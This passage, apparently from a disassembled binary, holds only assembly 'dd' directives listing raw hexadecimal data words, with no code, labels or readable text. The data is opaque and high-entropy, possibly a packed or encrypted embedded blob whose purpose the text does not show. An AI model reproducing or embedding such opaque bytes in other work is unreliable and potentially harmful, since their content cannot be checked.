		dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh,	0F67C6F70h
		dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
		dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h,	6411610Ch
		dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
		dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
		dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
		dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h,	6301B811h
		dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h,	17A7877h
		dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh,	0A7AC0022h
		dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
		dd 0C8101101h, 30912009h, 44312200h, 2F388C34h,	69070041h
		dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h,	1D2B90B8h
		dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h,	0ECD444BCh
		dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
		dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
		dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h,	5B78B424h
		dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
		dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
		dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
		dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h,	0A43110BEh
		dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h,	0F849CCC8h
		dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
		dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
		dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
		dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
		dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h,	0C40B99B4h
		dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h,	2001C0ACh
		dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h,	1F401C80h
		dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
		dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
		dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
		dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh,	5C874C3Eh
		dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
		dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh,	20AE0004h
		dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
		dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h,	0C4793310h
		dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
		dd 5C809219h, 9300053h,	3C247214h, 89161260h, 6003992Ch
		dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah,	0D07411BCh
		dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch,	0D4889C12h
		dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
		dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h,	2060A987h
		dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
		dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh,	1B584CACh
		dd 69C6015Ah, 885BC33h,	1134F8h, 0D8A4F904h, 1C94A9DCh
		dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
		dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
		dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h,	6C61A973h
		dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
		dd 995AC00h, 74329CDCh,	258C0261h, 20D84C2Ch, 90A4B740h
		dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch,	5BEAC55h
		dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h,	0FA5EC814h
		dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
		dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
		dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h,	93E7031h
		dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h,	32896A60h
		dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh
		dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h,	8196FE86h
		dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h
		dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h
		dd 41400F4h, 268C1C97h,	27B83411h, 4C00427Eh, 64445822h
		dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h
		dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h
		dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h
		dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h
		dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh
		dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h
		dd 0F8AEFB9Ch, 70154C8h, 0BF08E429h, 1E11C023h,	0AEA22C32h
		dd 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h,	7200656Bh
		dd 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh, 0C9789Dh
		dd 0E66ECE1Eh, 1C0C6854h
		dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h
		dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h
		dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h
		dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h
		dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh
		dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h,	98212ED5h
		dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch,	87FD7970h
		dd 17AD23Dh, 18740648h,	0CB726269h, 612445F1h, 32E9CCB4h
		dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h
		dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh
		dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h
		dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h
		dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h,	0ED08BE64h
		dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh
		dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch
		dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h
		dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h,	7B041857h
		dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h,	227AD153h
		dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h
		dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h
		dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh,	4DE80A67h
		dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h,	0C80943B6h
		dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h
		dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h,	58A7A00h
		dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h,	2C0E66F4h
		dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh
		dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah
		dd 542849Ah, 9100B8E8h,	591B470Eh, 15DA4Eh, 677A66C5h
		dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h,	0ED641400h
		dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah,	0EF5210B9h
		dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h
		dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h
		dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
		dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh,	0A956F5F6h
		dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
		dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh,	0CE4E456Eh
		dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
		dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h,	5D005051h
		dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah,	696F76FCh
		dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
		dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
		dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh,	0FF825014h
		dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h,	9480B970h
		dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
		dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh,	2658664h
		dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h,	41C0BAACh
		dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
		dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh,	88222031h
		dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
		dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh,	4878D8h
		dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
		dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah,	7D6FAB26h
		dd 981A0C7Dh, 868B1A5h,	1FD6B701h, 2552EB7Eh, 858630h
		dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
		dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
		dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
		dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
		dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
		dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h,	0E92A0022h
		dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
		dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
		dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
		dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h,	7E0479Ch
		dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
		dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h,	15471D27h
		dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
		dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
		dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
		dd 303B1AE1h, 0D17FC9h,	0E0BDD99Fh, 0DC723CCFh,	3D0F1C00h
		dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
		dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
		dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
		dd 8CC0007h, 3A309C3Bh,	1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
		dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
		dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h,	4600CA10h
		dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
		dd 87F980EEh, 3083302h,	21471827h, 0F0017267h, 93C789A7h
		dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h,	0D1ABC98Dh
		dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah,	3F368349h
		dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
		dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
		dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
		dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
		dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
		dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
		dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
		dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h
		dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h
		dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h,	0CA00D9BEh
		dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h
		dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h
		dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h,	32009D29h
		dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h
		dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh
		dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h
		dd 28C1206h, 345E00C3h,	0A33A9333h, 53B3441Eh, 67D35DC0h
		dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch,	0D31DCB9Dh
		dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh
		dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh,	4F8A0F82h
		dd 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h, 763B0074h
		dd 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h,	0F07DE77Bh
		dd 0FA00F57Fh, 1B370D1Ch, 91D259Dh, 1E489E43h, 87675584h
		dd 678647B5h, 0AF96878Eh
		dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh
		dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h
		dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h
		dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h
		dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h
		dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh
		dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch
		dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh
		dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h
		dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h
		dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h
		dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh
		dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h,	487FC20h
		dd 195B03Ch, 671C4714h,	602C8424h, 253CC93h, 7CFEC77Fh
		dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh,	80FA5FF4h
		dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h,	3C3B2A3Ah
		dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h
		dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h
		dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h,	3CE75D87h
		dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch
		dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h
		dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h
		dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h,	91A422A0h
		dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h,	130F6010h
		dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h,	0BA675274h
		dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh
		dd 0D0F8C3F4h, 3970FCh,	83A0431h, 383C665Ch, 2E403D00h
		dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h
		dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh
		dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h
		dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch
		dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h
		dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh,	214F1720h
		dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
		dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh,	3974ECE6h
		dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h,	4873029Fh
		dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
		dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
		dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h,	20B88F01h
		dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h,	0A01E0E0Fh
		dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
		dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
		dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
		dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
		dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
		dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
		dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h,	4F274Ah
		dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh,	388B3B65h
		dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h,	0DCC7BCh
		dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
		dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h,	613C7150h
		dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
		dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
		dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
		dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
		dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
		dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
		dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
		dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h,	8272CF79h
		dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
		dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
		dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
		dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h,	0FC288C24h
		dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
		dd 0EC6D8E00h, 7BF073h,	0C0F880F4h, 0C85D9EBAh,	0D02EA000h
		dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
		dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h,	0B8282EB6h
		dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
		dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
		dd 5761D0E9h, 0BA98DCh,	0D6A05CD4h, 0B8CBB0CFh,	0C8D89900h
		dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
		dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
		dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
		dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
		dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h,	8B38F9F2h
		dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
		dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh,	5001A1BBh
		dd 97C9893Fh, 0C60434h,	0C32DAE1h, 88609020h, 300B0F00h
		dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h,	67A8A707h
		dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
		dd 6A00E4F2h, 424C0B8h,	0E4937h, 3C233BBEh, 4102672Dh
		dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
		dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
		dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
		dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h,	15D0770h
		dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h,	342B50E0h
		dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h
		dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh,	1E16C4E5h
		dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h,	7AFE50ADh
		dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh,	0E940427h
		dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh
		dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh
		dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h
		dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh,	0E14A492Eh
		dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh
		dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh,	43F100F0h
		dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h
		dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h
		dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h
		dd 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h, 0FE27FAh
		dd 0F437B02Dh, 0B25AF849h, 734A6601h, 0E2922E09h, 0CA54B07Ah
		dd 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch,	504F7AB2h
		dd 5801BA09h, 14642641h
		dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh
		dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh
		dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h,	0F0786CEEh
		dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch,	0D39C7894h
		dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah
		dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h
		dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h,	5CA05344h
		dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh,	0BCA203B4h
		dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah
		dd 0DC42C29h, 3D604D1h,	803E873Ch, 5869A02Bh, 0C5E1BF00h
		dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h
		dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h,	69B03084h
		dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h
		dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h
		dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h
		dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h,	0A593A873h
		dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh
		dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h,	331883D7h
		dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h
		dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch
		dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h
		dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch
		dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh
		dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h
		dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh
		dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh,	0D7F9D1B0h
		dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h
		dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h
		dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h
		dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh
		dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h
		dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah,	4F221D50h
		dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h,	0E6195D6h
		dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
		dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
		dd 7BE0024h, 0FE4AC90h,	17FE13E8h, 0BA3E04B8h, 0D33E6782h
		dd 0E01CD722h, 9D2730h,	92AA1DA6h, 89BE5EA7h, 2F2B3E02h
		dd 60A414C0h, 1BD3A3Dh,	9425FF4h, 0EC51019Ch, 0A0006012h
		dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h,	0B100C90Dh
		dd 5F343CD0h, 0F40B40h,	0C832E1C0h, 765E41EAh, 257AC90Bh
		dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
		dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h,	0C3B8B4CBh
